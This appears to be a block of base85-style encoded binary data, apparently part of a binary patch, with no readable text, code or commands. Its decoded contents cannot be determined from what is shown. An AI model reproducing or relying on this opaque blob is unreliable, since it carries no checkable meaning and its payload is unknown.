z-eefi8{UfKE{gUz&Y-&f;#QBHsJMcO&$0hWtsnE2T>o(98?U*iNP-vR(z1nx09hku z!_}tLtMHgk=7cG)DrAo@r9x(M_|bUC_Psr!zZo!S8_9^$=02fxU?WF}|mameStqNbjB$sTo;{0B&T>srDgf6mN( zWoHn+!5oy%R{@N6JMYN5xG1( zZtu(ij?9vcdJtQw^?z5<-ph=#3Be!G^#b(yiEdYfS#>Q-y$4KueAj*4kR{Uos?$%= z^m#@zo#a|KCpP9Huh~fG`5bq>%tPz%nVik}+uC*3sL6UHKbOmF!PtID@$E_OixV#NX8$oq zg6~lWho_#(>mlzi{h?I?N}Z&T`n?Oc(J7H1gN+#q9nY*T1us2AQ~rAoVjGU{%^tp& zX#NmXhmDuwo_{*(8pj@m%~*|Px|#y?DC=V~&{C%+s~7OT4(5rJs3^$RoN+Z}il z_$&>t(Zh2ms41+|y2cIna7PnCdY603$)u_-4_k(R9OJR4(-s}DxPWYovsU4|znD0l z&13i1(0ugUnL(8q{>v`SK#sjByjRTg;qNd<3kK|wDH{7=jXAs&CMrkO0!C4rB4@m9 zh2bAr(Gdx2x5rRn4SjkX;ugi3697UxT(YXTGOskwF5MwmVjWid%kUGVI?t*AYk>QZmes#4 znHjlhG6ZSPDD@<58Wb7PagUsb7m_XL1SrF2nbN$yY_+f&rFOM)_7R;eOS;@`JBe%1 z2NjbL{quN>G+18SLxOlwpuGS3{tl&aRk zJ@incSyCB}tKYxE1JbB`&D3agjt`0hRGj3^2$e|ZqCi@2{*wDIR=2Ek@kEL15Y?!; z=68M*q#XOry@iDCIjbctVQnRiYP}^|y!9GwmNwrYiRNlEKtFZe&LEdn2X=*(wBQ#VLpCa@-MkfgN@azt z(eq`diZls*u4yHv){Vyp+hf~r5~KL?xvwDd-UThn$9{Z=t}mE&ce;QACvTJ*$1Xsm zuCeDuj)?B%$GhqKeM!;rtWdJ}OAbP>F>8FJW>}7F&ojW*g2Z&qQxO+j&2_#|s)3$s9Wyl}2#f2RR;7t#pm(e| zz-rE9?=$2JqFdE~6Fw21zrG_=g>IEl-Nig{hnk%Zo^d%Al*Y zhz^;)SSQ-@#Dk8!-Ef9IKH7zvfK+J(L=i8&_Gv_I^2Dzlk&|X%xL`GyG;bL18L^I| zoitV>t>6t&Qgt*0Ow!(H%l_EPhfeW9(1VC=JJgDZ|JB* zfHhV_DrP}E1h498!c+l^ew`NEJ~ z%oDR&yL#63YMfpA|E>fru7CG@UDo!0XiPqTt4&sCZoe4B&w1F6V10QyrSyL^V(xx* z&MXKJ{oBr`IdI)$|!$&cRF1-^^NqyYSxZV z3`++Ajlti(;vq6)Q{SMPTAW~snyo9KY^Ur`3Bm0mMd1za*n#WK#hoxU%}R~Cd+T(* zZ)G>^&=vDOKtFo3tAiVbe(Xc=ByvyF+4Oe-!*Xa_wOMjDpfPIpjjdI82z|hUPL*9K zDG)5T>eyRCqv{T&AXcduO}c@hzZ-~ zW(1j~z0qpR1u&10d52F@BH`bPuAv%I5&Wn9|MZ@#7xhy#2%>#y-=T07`nbSy{wbHR z{f^V^o|5i-MPeKVNlTdlinv`R1(ErSZRaDRjIJ|8dFxgJin%%Ehx&gXb($Z;U#9J{ zasNu;QVRQ_=z43dt2$L0&3p|EUaLJqEKSR`DsmW*0PA-7yidP^Zwl8=mYeTVVdDB))6r~vn(K_tFe0Irn9@gQ6D)@;3OwOJ3qbF*)8EZ zDz5*6t}4~}bfMlvxLRHQQ^!lkA+byHru(=pxOEh|{g~{o-o1$D7)tOuzEJ3ZzZgqq za)Dn{5liSoA_|D+{Q@KbW;)A|R8aR$i?3MWAMYOcY# z>BASgJ}B+D_?+5wi&4kBZFhoC^;0II=g81GWQN^W!NIw`#P&a$A3iFTS7El?La)>- znRM*J+%^fTe_k-$cDrG6C_98Y9xZ>c^9dd-D<9P(Y1^T7k70wfzKKGw=11M-GjW)= ze9qn6)5JablzyQBAonh5S-y&KjV%PMqFCE|MlZAxXI6IvZ|+-IixCzWHh^sFZ-kqU ztBkuZ@OaW=j?4~9`5$S+xRSRIsq4_!R3EG15%m-Occ~RMP74oAPXi?1E;D|S`ih@z zFQw*s#!gK>Te5ZrkEAahYHXB*$4X)B$nxJNM*|~sB3Ge({an0TQKQMMLRY!bJ5!8e zcVBa_eF9)=7LvEr<&^Nr-?Rs*WH|CY4okDy1l|ZG>CL|O>V5Yx7%18lr}D8kN(G4? z%xI4LUg4&YiI@y@9>jLOV(!>?8vpBDQt-UW6-7V85R?^uaL)>~$yk24F9`Q=xZGMb zf!XjYfy@Q4ZM>#$3#kYLJ+>f|r6W)?S%hN!448*3%w+5m+&~oJ@;m}}pP3L)O4-a>v9ciU`;;Lk3}eGfD?g4aED#VN;{067Zg@=XTbp!}XsdF+IACr$ZbF9xtcH-_C?I zUT;tk1AO{#`7ZvE`aa*Wc6X&cs4f0@&)eL1saWwq{{2Rk{ywBrtI!l(C_6Ion?|$T z*yenoW9>=0^^f&qdvkZBdN=38i>%yYKSB!<99sgha)ONn@U;=UDFv3L^U`>^CEVZ>`1mH_LF!$xKG`4&Hm1eee85i z$igqE+di@peSM_o?erJ#%f=<3F)aelNP{e>p7Li7+mBK=^DIne&ZBzYe4 zeHh1GQf+{IF@Od+ozjG=m(6|b{|nT_croUP5Gz6p=nBJ-dx*SE3wMah%l3|!7k`GE zD9#}KFgv3@%Ydt>Tm4R5h?I_W%BlD-&`pU?SN|~I}G+ZfMENdw`H0#Dl^QD62%shWJE0-2AvY$JH%Qfmi3j1!m$h?>x3(};Q)Qq*73ubL_4~w$x143_J5@OUE8&M3|1>o`2(|(%^~^s=R}iC$ny6e~%DfG~0%}LD??M}z4 zb^H>+5T`0`;I5^J=RzG1>>QIaSY_VH{$r1ByWF*76b!ZJsu$z)PY_;@R_0d4(2bdl zkjP8U%pP-vvf&hV#7vwpN3#8!%t=8lS+%uUm8!}jvq|H$+{}S9E&GBTK|4rB92@{$ z%LsX-^g<&Wsh1Rz7-5wS1|b=hf38UMnKiAQpb<`{vrgszQbdCq>86R{enV~#ZrMIJ zs)&hYi6s2>t@Fz$=ChGhh5ULx(8%d9pbf=+;vm-;#G1#s|2%<*JRm1sA>lc99}l($ zh-pLVHii|c0j=OFR(&mqOPeX(8*a>>bu+}7eq{{qT@ItTgQ&|pb;6oj3H0y4z;s8w z^bW}y+;Ae+Nr-6>JCea~9UkdMq6emxA3#SB#V#z>YRkrxJ2%wy7-Iv}fC}^>yAG=b z%|8q3#yBQk!imQlnPuDcMGx`<5_HgsBm_tXtoVGeIiN@J81d0G#~)_a@}XnU8exDz zM>2Ycsxh~Rsx150rZurRv&f3U5?x{`2zqs z%;GZd@729azT$#j3;qH0vw(>ITh*|D0YbEX=tl3TJ<)sbw1KRuW3E&@V|yL$uGH3F z`96yk!*mY7m>LDuL|1(}5sCiBZO-kR>uHFBJlMB@#_hvA&T3O*tYzT;a$sJ#@N##J z*7fd=*!|*y-u>E=vFQ&UZr{9*ln%OH^Qj4;?ANL3s3Ug>Xdmgl2H;5z;+ylhi0tH- zd$x34zkq{3cEqgJot z<84W`M|(K?Guy1;_3+s!tp_|$o??4yo>dwI?IMr>;wkPP{ggo*a?2b zTfLVqdBtcDj4~q)=XAOEFFq9*zwvuk!>j^_N#g|iod@IEjR%JiS)9xk$<@loGpJ7u zvkMjLR@ch^64Eg5v8JfVt;$!{rRzN=Ois^NQv&UUr#Ut<*?*Qo`1=4&_>IB@FvQSx+_jLcP_XS&!cB8P~ZEH=gMP^!t0ne z*?oh?e+ibQNF)u_OALd_Syy0cj2pgC zgjo{nv+36h=3U2{Yra@^BwlLdTPV0b9v6;nY$=XHG)U@}*I0j#Jn3wfS#?hO39BrN zKV}C28jO#;6b5QdrOKAC%3D~vX@}gtm{n%8bp-=&lgYiO;)>)9;;X}!;e^P?Y2b_R z;KZ`z29&?t(*Gzb&**q#CMAJx}v#~d- z+b5!vXW!}Crt}`0G}84#qK7vsz-qe1^d~+8L@=^c%#;bwJxtpen{m?_LVViN2mDpf z=%pjNeLFtgevcjb4nE;Qj{|ODci~~nD1zrV{1!RcZ5r_I5WR_T6fc1zy} zLNn=tWUnnuff7-=ooSos1TmGtQPZG0NPqK)kY~b6$P}ZXcg(Lj_F5e`+)i5Kahvn< zSe-m|&5Knh0|9kl*sWr1JPs{DawKRfO6Vmzv#45D;3D>9r&@h2Ftn|#GPr6%37p%n zJR)|H1iFvz*qLJBzX|>sQV?kpAlF5pS;~Uoe#K_A!?(3;jU>`6VllZBz;Qc6ui$^f zS#;iMx|Wxa<$13aW9X^Z(|F@N6hBh)mZS>cwity+o$9zSD= zrm@j~no~X=E;5NXyJtCb5`D;;w-1*6Y7$GGZKP73=FFYF#MmSJ1KwY&h*1wf@p4`h zw49<9yu)^Rp}hM7`zbHj0dcD8ZQtJ?pV?(9%Knzyn-~Uwdq74@_#0 zP&g+eAfLw!I_XTo7{WsL{mn}Z!alJBmCql1f!u5Juw@z|Q^pt=`u(i`;!Nb@RKCQ; zDX;E$0=@BrFc+R};m#RKte}4!=fPR+#VB)A=R>Zt|3lJ5^}uVVJL?c*n5B?U;oezj zdW4Yn#`fW}{0HK%s6yniq{lz^Fe36*X;!NI=N)e(R-1UGnvxDPBTVwwunPQD9Zxt^ zQb>1fX;d78yNR9DF ziI@SAq=fu#@Deq#$UR(aF7-@v!jEtX2Jb~t%cux9EvHTXqTekM+9nzEg#DQspkM9- zOhwdqlIu=v+$CK_e>AP{9gJj@tW{*zX=O!J$*u)LOSLlJ9wFdfD~&Y%X_HGaOSkV4i^*#C};>n z0%>l1O{VW-@aB>T9u}oG>+!syF*6tChf04TeaZ7y_1KbuNGZ@bjk_k(k5l?VY`IEU zsf_v*(l=U$Ue5!54mR!Z^W_8vDWiE8E?X`?C3E`-4m*e#&IVyCtaPLWF*jkX{vi&M zjEl0IjXp#pjkH{k&SqWNGML6VUKs&}4H|6$BMXJ(-gg@Wg3l(qXJJV>>~vLJZ6nyM zsy+>@vD38;Qp2OTq&80MEBu8f>~~H`;=@Jx;A&ok{UFPQ_(6W|2=E@n<7ANerqeqE zx`cf0Xxgom zpIcLP{o#b0?41qU$w36Iy*Q-SdLDMH4(*UOa&xY*H4|aa_%I_HsQ9%N9zlF93f0*W z^LAl`=ZF*a<`Z)v2so*Hl+_JLk9({mjCP6|TJl_DIXh=~!A(hw>1;DZP{;XyoDFDw z8!tyx&NPV)E`{{^G~bbJX?;=CXJ99A2j*G~20L|eg|=`Wp?%}Ber%Q7;QG2LXO=s4 zY7Bn-bE2{5ownsx6kJ7igjFmDZi8iq*WtMuU14nKEUV0~(!kA~SfMKBvrN_cU2$u? zuFcu0ZJCx?rFJ!nVfVz)F}e&8SfES{D1HH#8lTL4lFMRS z)MWIEmRg|Duqt!b@do{pa1FYOonIi$ zkC}5{Z#SYmRv0d`!?9+(s4uA#RO?@zb&q3gSgJbh0%Oq_dcXM6El2q%k5Ya$@7PD# zi}ES@T-ltF1dH6n+h1z#LW_75jJm{cxc6pFe%Z>bSFJ?(n?Hg_#ZjZ^3K%r{4sW>U z?!}K_woO9=T@eCP!-c3J4*sN`IJP3+)(kjl(>&1f=voR&uqLd(H(JM zYaG11xKsB$(=#)w@GY*cx17yQy@QHU7~q{PNN8NS5Lsc;z)hYUDZJqU#!fj2w_9j{tNYG{t|7x$Oj#TSkrybzO=9()wZ6eAR%0tMJ6Hq@WtmWt zmEEweIo`YNt~7?dJWSobJk5FgzxmM{ym=-zixnI+Z#FrfF2Z=DTSi$VK49whldu~w zPwHk4wR;?Z8jH!(d8;y4gbc~I0%IPGU4aPg+$tJ9xpc0u?qCPL{f2$Z10WFDJR{(f zv{gPUX&w1MtrnXww|Uqo2LLgoW{VZD5=+)v5bCv1t%IAi(z#`SC7^q~q|JNYm;)!u zf@_w2Z=Il(s{!J|Bg?`AY1;-YC)sS1Wksba&J5 z?{~2UJYl6ayegt5c>euTMvHbBPp8jCbG2gHr_W4($`-md1Imf)5DOQSY&Y!#rR)%x zpoBb@D9umT6kj0NOo$qQM(a7og#Tv7d(sU97W-TgT0b0>M$vS|e`~gQe3fFHC3QJA zmE3X_9LB-U13 z<_$dZ2O1A#wf*9Mx#7#KI0k{;4k9yZVT?r;VZgT#N;w9u=HQEZ2Y|xzyyH|TA?df> zuo?$Ok&XXhvXqdjkD;2A_FI-^=KFjXFpe9%BC3x!26;iJ3?57u1R$3a(nqa5g(9>U zBzE2+%eGggbnnr@0|1APVT91{$g8Lt9_#zLYXS$IgW%GL#tOxa^DgVcs@@G*n%cRG}z*Jr_n$eY~xu{PYpT? zmItwS$KPlB{G5`v93u#P#J|vWLp*3)s=>MT&v7uWzoODcss7n~fecM-k4ce!#3rb? zm5tb9AD}QjnK0-joUo1M)P3gpv!`q_nVSHR%^Sv-Kw+}Sa9Q$Wx=o#q8=k>e&5F6w z4)M4>&6&!M__w|oFiU&v`%pWaZCk`rHZiEOBj|J`$CT_P`Job>vsyTOXS9Ad??pTI zNVr(u0i$I*Klqn9bM;Q!6P~`#xlz+)I@6h1{XSjQ>Y0hUSGqTZ+^$t-;P)$dctmuv<;n?r{eFyeWW9j50~=zd*m#fKW91Pn2>Vnj^3IQ?wHE&P4EX{cgGix97-`Lu3voKAPLtQqlV$#L?W3xvc87<2Y5J9rY$B^n65VcM zumOFXDg_$k!?zCdGL?w^*IaT}!}B%4Ao!bx#K&OdnpE|3n{>tx<;42I`T$J9v@kc4 z%GD-nuaWkLO`t5$wU0qmuD?hph-mJm`h#nZq&RSIs9J#>k=$&Eayz6}_p)~I@^;4B z-SMm^)3?L~^}LVT-5pl2X_@}lZs6DGif_r=CtZb@cQ5AR0Q}RO%>cYHfBa++UTq~@ znPn69Yoz*5Wl90PMqQ`+vLil+fP)ebv8XP8)#0?~H@af!&8`ZPA=W0nl7lSzPpd95 zO{;9GO^+nK*B*v*CLgQTOCSq&1Z3+G+bec0Ftz%6(p%KUw1Ky0v_U}9%2;oz@WGWl z-XP&J6um%tr9*KPS_m@0Lzmk%(GfF+8~6%o-UPoSwHz!~;2y{e_hfhsb*8Bd`@`L3 zewoPUt{t-vOt+!n8Gx;ClCZluJ^rzS6WV3+!Q1^Cfh>KQ7sdXFB5t7DKMsP|M1>o_ z@6)K`L(}Z&BAdD&{ak=E$=+5X&C-_qp+*nF*}t261=~;sw^0W>rxC87Dr^6qN6X6wjHj&p z3D%*5@LxS37#S-#lN5%5BA-Wr=e{e;4E-S-8{*7~HaW!bb%$voZD9zdJ(<^rnbU;_ zYVmgqdQ&Z=OWry{PmZ~e7yKK5eYIjQTIJPDozgV{!M^GtSarDGZXhH0{$>H?e)?(w zcS{muVlQ2B%-6>vwLceq%@DI9NdpY6h8lhT8BH>M9a9|c04Jzlc<31#(Ar-&e1bA8gniSg4qcLO2!AGH14O8rq8_dr}Oa_>6J)-ETav+!Ll4L z;-Al1j`v%eKs1S6y4x}lB@OW~qLOqzY18>zX0`paGYU)3s?5ZnGgmqUwMA`$f)2GK zBA>?zVObGbw0X@J)8s2WuTu4@1Abi9ZxTB1vcXPv{2ER|Y*_XSLm*a8rrHp?OZZnc=Ef>68-5(LNdHpN!e^Xqq*2X7cdK2hYmjwd zqf<@jz74r9c4srkgosvTRhW{c$9s`FDNCChlcy-V>kG7o;qIn?qA6+MT;5~-%VH;~ z5vGRnGHA2NHLVG?IIhNa#dD^)NtO0$jXw>wx>bC>ULDUP^s?<=IY*u$ za|B7fa7$%s*~1eeTxzjG?rNh2c22I}{(35Eg<1R~D!ldl{R*uw!qub+y`&eA>~Uug zunugb(|!rL4`KuB&)A={Q6OIi!Wkk70Ngc(c3eVwx zm>A}^VPx-s7SQkdm+y*q^R&2Z4moxdqpD*Y$UW9(MFP%@6zSfaHUfiwea&1 z(O2lKVf_AQ3yOQPrm$_`Z~i9YRK|?r8g+mA41xjFt?R%j2nIFOF3Q9c#mSB)5`ZP` zDb{3AG>xJjGZa@2dZbwV!{}q$$6l*Q*6wuw9&o~VnJ*+Ib1mnKCH3cINl@YrOYG)D z;hu|QtbK&MCF3Fh@A|08X~*1!Z%6Bj%8GISwJZSSaFkA3C?^DXfB+pRfOGgkk(&BMhr29Phna76xqn;kgjy zP9*lV2fqA<9qO(V`%dEF2|6$>3GV3z zJqYbKIr!mZOz-7pj@SR`z~2A$5yOIgvP5>r`NURlhOcgbnF30}L?n5q@8K%N?d5GB zN~}Y#_v%)p*3EgauNO(09G#>iuhs>ve^3bI8}zhub{tdQ-2U+0ZD@H3x1dG^%jIeV z7L)}H+1NJQpB^rilNJGL_6bn4`D^*8D1x;CiuCY?4)Rbw?U)7~O#f9+W}ipbvSxU_)0imj#!V!VhEm< zs~cAC>)cfND0C-TqDbCAt6;ZET-eT$ zW>)(>R=di6H<@}eCR`aoMl=Qguk=9{(HD9vs0xHGIob-rFE_Ii^SRv_7hcbQTDLGT zQ4+9t&p&*rN5lB!f!=85RJ~v!1M>Q=8Y|zxMb7IsD69TQesb(+ch9)Z+AmoJ!W2i` zw89B|yHbD#*}Y)(m9gqCZ1+7ac+KDKjc+S117i>!8+OLwa@RqPVO$vu9acgf6;cr( zk-eP5R{mHqfz=lMcx&w6Z&qho(bIH%&TUwpSIfA{me}yhbp)Vs+uxAkb?j9%PfUdE z#JuO?jd|Zcu3X1|m&nE5@fzmH_EW&!=F0R!%OT7t<-CU5uU9r=2|8KZ0kZl=zsI9Q zqECOiJVd(Wb>0hR=}aZn@8plVO)UGR%&%vtZ`l4*;vCZBlUcroO3`|r)^dfbT#lGd z3v1selL+V)MRwm%3!L{Kfwxu=i@NPddC=7F_kOgi*w_EIwPf|^wbr~LZ8518Yp$=N zRXT*C{G;)qA-GBkhy`$*cX+Z|aDu2@zSDAugq)th?vi-QZ1hS$RJTVj%wB`o1QT{v zbVduy>Mt6!_v!a5GxR(+3qpS=L0$yd{Uf_U2Q_zG+G7JCJUt52YgQOO-C@HZ{)Fo( z6Q-eJAnwE>+W+;NeR{$ih&ih#h?e?Dc?>3iZ@)ABd9Crm@k0|}94OPo4R z(j?c}OqsOr^P7f`k|axd{n9tsbd$d)Ao4Bbp5Y-a9(CxQR0m+2s|0_A{jQ}@a?kk5 z=&|`VZ{i#`;}hm7?3yDqO2GbYfRqVJw?X(PbMj5P_Xtx2-x>1!w3y^*5_4yy$pwl3w{hbhXpw_sltH*VQ=i`9aG;Z~T<*D9B&Gj#uC+Btl z1eI3L3fW1=jvbOcPh6bQ{S@*Ea>kv~F4WupS5k+o36mbY*|r#c)pk6jm6X;m?=#Sf z$WQdRVGN@$Gd#WY!Le)?<+gPI$i8Cj=#= z!+9(5hre!cO4_kjUsPRvV>qvE!oGpHT_s|stM%f)nYyGsGMVAb%Ix(MJ>eSfX2lii z;5}769=79}oNT~}02Zupy`%i8{N2sOJYjPhd`VZhM>o?V?eB}D^X}eihb=x-fwV5r zk*nYRSzIzgR)eBQJcRf?()F;XH?I)*K_CV zeO<3KbxXO$3t18W#6}y|ypwi$o@W+yg>&~%`8q|x|i`y?h`k3sv6@^EDVXQ>IT4K2u0tHmf$ zqY%306tRdnHN48huK{*$1{?iU@XdYF%f(9&se{V@R`mZVXeF4|Xwp76N4!T0o*aY6t>?P1B)06z` zyymx$PhFRpa5Rxilp6v5jnj9?l1r+8H_?k$zJbi~wifEJjYJT!1RQbPA{2g1ZUGUM z9I4lD^+@C#$*mU3PS0c2R#azSs_9Z{E||WqiV^yiLkSZ#86M{iv#bWh^_KI^dL4Od zD;tO}PhakSBv24fs2aHYC%0~&7iGDL`5q3rrea2KZ}~`KoZ=Wg(pRX2=l(4UENT7+ zVy*3-WSJ8)g4tIwjY z%eRh^g;h0n(%SH<8&Ew<9Pn16HN#_Z63-U(JS|Q!SDy7nmwhfql2%w7a#aU$pE7W9WEN%X`NW-<8rjs(3ZffwFHl70nJ39fa{06;iUPdBuaS0tut`Q79?hr<+bSHrw$) zrdw5v#ozi4sG)IZl#`Vz>-oriZ43m=l(zJRcl?qK8m%>09dZH-woxGuU3J)-%2)$( zd=+ptT+a)lW!P_F*ngHCDUDb)F}Y7ZM5RorSoDysp%i21b49J#rDFO(gapuLE*tAnb)2mrqixgbL1o|UIx46+zD zJFF;wX^r+6DQz1+aolyo)ZnqX0iAtCT3_6P9l9p}OpwnzV{p&FiuxeB4Ak)%b#FPK zYpk3NUL9SrHpRk=El0r6BCtR*0f0Gm1z|SbxdZC9D5VmnrpaC(PBO*H&JtsWsvx#aRA?vp=x8J<+-(-0p>i=(AOG%8}mfj+CK=U5J-n2 zR=AdEz=ETS+PM!>^c|pW8)2J>db(VCG%R}jKlHf2mH>1j+vYFcShqw&SUJfuy5bT< z#dO$NxiTSZEPK&$(eY+`!*c=+?ud_0vaXDyJ6Gw(`F1)(oeL=ZwT489=IExciS8_i z>ybk8;g`27-&jtUQpsN1YMf6IyxH}?ge1`Ka5&N+tVjG@HN)^;kN9!K`#~`yNIb+w z<|g2?cV2km5zGELi_XlF6`cGXxvAIQH@p*};QRUSRGRs8#*d6t(aKnjCy_9a*1VihD!yMMmt*Y_JA=F z4wTHqXp0Nz>~;vh^I1LP`1&a$w`fSCs>#M{%C{PntGVb3=#{57o<`%fMQfC`vD-u( zmM6RRn4fkP!#A$7r!=23wf=6F1^Z*4o}4W{Vqw}S@7)r zwkOP^?fr2AVgh1q4SXCg0#B=to%`9b@G|xtkix}dPEuPbloR{Ubr4I*w5-J z?lE*e=L}1B?vILGck9%?*Iwd_`4sNYJjsLpyXj&-jh1;D73QL!cTZX+dsb31S*iv) zc0cXUa<)BC4bdK4g8ZN}D)Bi$E{TbDOCR(+;+||ARCP#nwu)Vlqo3@%i>`ET)AI&@ zJP6a3R~ffFe84kab3aA>s2RBjL?EnQ%}$mK`dlZxV$%!M2g_d;4Tisnuku)M=(63p zyh`XUZT4Be>fyRUIHuBcP`W?+rZj9Ps+ISO1TSmrr zA6K>{Kgnko-b>mn|Cl`^n&waPcqZ#wK*W};&VR#VUl2DrcHWxDJ0GJ*l)H>y0FSoo zIXL0G!}Mu_Z@l%IP?fCHba!Vp6ZI%oa$U_fW#C>`fwzfLz|z{xkd8EBwsr3;VTciq z^uFz|E%eV%fu|-nj+)ZALOa%vwy@LSu%G8RA@LHQhR7~6JqHcOz=1$^Unu+5b-bcPF=*hhVV_hxUmK>j9$BMY;JK-11o?ZCEW6|e%Yo|3c$(y{o zSml*zQ)r+XH>xxdCBH7cMK$(rHvG^i9*RyYZwW?CAm8S47QU=Un|6J7`#yLe^_mrN z@$Si&-k$+kb@>HZa=9is|6F!)P zE^76es%a+_*}U$sNiz#Vmw!MFV9jJ?(8AXLlE>iXg1TKafKK$d3BuN;*$3!X%Uv4Z z{|9tIi@rz9r`Dw9)Spy>Q{(Pv+C#-lrsnY@znFAXt z<0tYl3e~z~mBg^VSckD^8oKT=7&r%s`%m0&_F?E-2cu{0gK0=24oR)VI>k$-M>^)= zZE-8;fn7mY%+kAHk=7Br_^#N-w!=2Q8Kx0pUqaHwzKL}Q=b{^wifJtgi8C<`%)=rm zA9L|HU@8lV1&hCfI%0o(Q&iS%%EB$g&09<2+)cPP9)(qOXKa%@V<(l;MW`!w>D_V2 z>VsqMKwJxl;?;aCUhT#bI%*;ZUx@oroO^j6$m=g}3)RYhvQtWeS!J(Qz1rrlu;cM_ zf_qNIxA8zc3py*XY#i4blb9^@BNEUJiN!D=4nw~vjDn)k^{bDrX9NZwG3fi&66Z1+ z+r%8aTXdmz&mn{k7)8B7qlp|omWUx^sXJ^Y0lh~sWZy|HzZRcU+pgo*auyoz9Lxh# z(6frcC_RHMSDvxz>`}&Us-(-jg|wTyj7~G=&}HrdipEbQebfk&h7KmKUw@)|_amrH zdjboZ;g?Z}Pf9*+Qdv!K%V>(V_)IW#2t&`_9UV7uKiP_BP!nGaEnU#JvqxiOhNY7i zNed^j{>#^tfAa(LZ+ye(i?3+A?QX#?3>;{ZXd?v)Z!F!#XUVw9EpsvWmzlXiIwI=A<^3kpx}I6vOE) z+7cF>jYdxw2iF)ZWYHp@G%bKt?$=!G0}HVWYJ#0Az9oOs-UX++-Ej`;;2yYS8|!zZ&G->g0O zWNE>xU(P-ypByosTPak5j|8xJHI%=nO1s~wpcLQy9ZG(AQrq#(+g7D&5G$0Yg|NOk zRZiIKRbpGK@y;$$^37Ty_GP&i!e%bPODbbA-dRhPd@`lPxP-773q-4x1h8I0vh_@z zsUWNtz)lm#FN<|aC+sJ9Bu#wlg!N3Q0h#=zU-B5-Lfc^{?kn3mtwq~HWyz{2fx1n_uvBv#LnTb@ zj9X-PaWC`|`_&ugh@QCB?}}?!CtRc(w~ow(ZHaWqDo88jT3-TMv48a>fR*r7sLK87 zEbeC~v0dj{62cbZT07@0gq3m>pXc`eGA^U0#QiH>+;82m62{7GV=3wKu8JWLpFa}7 zTDeyNSl9aR9I)b9;vInXdkbKVEL~VB+!O7JHdpBR4o$Uz7Y(&)Xd8!CkqynuAh#Drr z>jEOG;ODOZ_E-Ho=vM&ytN!iuKMlZ2{W1t!Lq7qqVxB5#qD5bobYjFyZERC?q6^WD zZ;EbW8;sK0EkL41k&qib%-^qE8W^KXyBpAPfm z@6K}l(jvb9-A*cwPDR(un9QartSuWsdS%Q{ohOjfsgNJ~4sVtaKt$lZc3IK%cICxKVM64U3BjkEn;C zwGpYQv8pugq zS~slLJ)5njUnh0f9imHb5xV^beoGD#y!s4oOOInY?;ytWjwmQ=JpUB>vyZ6)S^7(~ z!xjrfyXY|XYtG@a@&b;lu3)~flEhuNX}sqyxjU~ah?*yc^LO1;F5RNtx5?dggY3O` zN#Apu^ve6>?t4T|`2+IzJfh%$7#7Rq?7XguWXWvO!~;(WF1?M>{6os|snt;3>+HO*wrwnPYfH`( zy890PTVw>mO$A6zmR-bX!xaL=IzzTSKqCR}&S!Xwdqx7_fQn~0?zo4p*e~6+*U?`u zmR&2hCF2NIUm&pj3DK3$@DE`s4_MZsEV<0rp#NqqFKNZd>mWyju%=4VGR{-&*+;%5XTP{6M{W{x_!}%&pP<&E=lJb^j^Ub%D!;b& zp*Lim`i2(Azaewq8}g3GqFG-m2di|oHWBkTu6RuIebV`=)rUaqFHymblC){Lsz|Oe zcR}M8qy=l@^V!Th0zKy_OkI*OcZtK)Ee2iJNOZ)Dm4SZ>`hLl(;F6I~JQ^>5OoGBN zuN8?|NCZ0G0T_qW!!oo1)?sOw#w1{zkcM-9OT3FZ;@4&X0fRmv{F7o5W^c!~!*G?? z>DXl)o+D>aZ;I$&xS1xKcQfSJF=m{(z_QzS*!=7{2S5Fe<6r-U-EV$N*%!a1{Pj0% ze*8Cr3gK=vP9Bk{0eGhJkzJG*JxGKV>?;0-tR>k$I6Ny!W zbli&C;NPJ)0bK_W*nI%OJqHooYaqd$M&jPC13eG!=fG#L$zOhiy6vZkzwdN(ed}T( z&cDXXhwh74PV8FT3)o^`q`UqSO(bI2J#k)&axNE|qf`r;X? zPWKMfYTpW<{Cr%}GjY!Z^{b{~&Nk5BOGITMFAqcO?qfJJIs1F+j%<77JCNxnzucwIT@jT+wa>>eXL}qRaQi>Xp*0?2Eg`G*w zZ%#_ncGQo{!@$rOTgM12?Y4^-|~mk4nzQ6J+j;|F3V;~qCd<-U40l+M>hcu41~iXK>};Hy{KMr5%q6+4h2 zBL~Xy$&#+uy>H>Gf9`%QfX%JIH?LAj0oZ&oy;=o(t5ja4GW-g6;wvGn0_9U_Tm98p68oAa2}Yk{5~lb;2QPHxb8{ zH=X+3HxfH$KWWp>5Y$>6cl=Q0Y;~wxq;g#y>$X(zRU0QD3wyQHZX>)49+7=;i|noB z8r2I|>4L2%wjI_M=Q`2>D`N(<@YP*RlX4ZqE^?lF?QjikCG;+S;2nT1RKI9(ttE?g z<)~s@PC?ZGHUm4qYE?m4-*-+}trC@Ne8l&@gs{p58>3`h1HjhIfRzANWx(3{zl$KS zbj8BnQ@tm82h_$tBn%(_+PHfKV(;XMrInp>zUt~3srOHPeZ#i^R!>h4jTkpGv%pOP zSa(;PrTf**4;N=Ug7R7-i)?AN;H^FcLH|4TA+Y*O^(%n=-=SXt?63N_)Bi*OTdisU zTdlVMR!Q{Lgs@dbxqbp*ql9WeSWS!;z-nR|DFCa9Z-Hf2XFLnLkVB_wH zftee1>UnYS$VmSB_Z8v`poHV6N05*diM9OchpQ)EvhbF-3!b9&3<|{6&lCU9AQH1u zej$LZ;eh>@09LDSKP#vLuwB@*y7xZ?u<_{)iAYZ*GCr2X#6%KP(}+$@rglsW1%*wh z+_sm~o40du%Vv(RE~ZzDW|&)8se)othV^69*#6?!BN)@aJ)f?h#`7&xncuq$MdEyp zox6nb>(`JuO;#8mi%HL+=yn`{PJ0Pmg*x;R!+k_6!Ro)#0Cd|9K+|5R-9U8OiMH(^ zEr6{&!qSSPc+T97>(rfi&#J_2+Ah)VBy!bJ>MuP+Oz{cgmmXC)u?<(BCaUBZVJnUi zvg`=1v-V;q=69U22d9~Pai4cU!BzX|<+#o}g!7yO*iGMqwOFss?0wjX)=JE0Ipduy z#JqO1D{-7tiRI+&xXvyoX8k!*HeFOjywca4*233yTKK8}tc)R$S})Zw`t=El*DuiWRu0Tq}{hjDwojoiUOZ88_wfCU!0R!`>>mP6ubE+ zv6T6+3uGRwbjhB?WXVZ%#5|VEkK?lHJl3nvV^cq>aZzuqpEr-Rr z8}EHU{;u0(?-nYTx}%1(cHJajY(KC3K3QeAMBfc^%Vm3;j6Dyix8*vv^ABRa^gNp7 zr*K_)4e!FzN%)G7R+kIxc>697%e%gK&W)D8kJncXr*X{G|NsX=c#eYHS|Pl zxaV7u&U`F%r{*O7Bv4>n+@u zUsg`lP_e%f0_(53f$_Ran2BwguD&SxA7Uw%*Q~lg@b<@eZ@z-XvSZXOe}>1VyXY5R 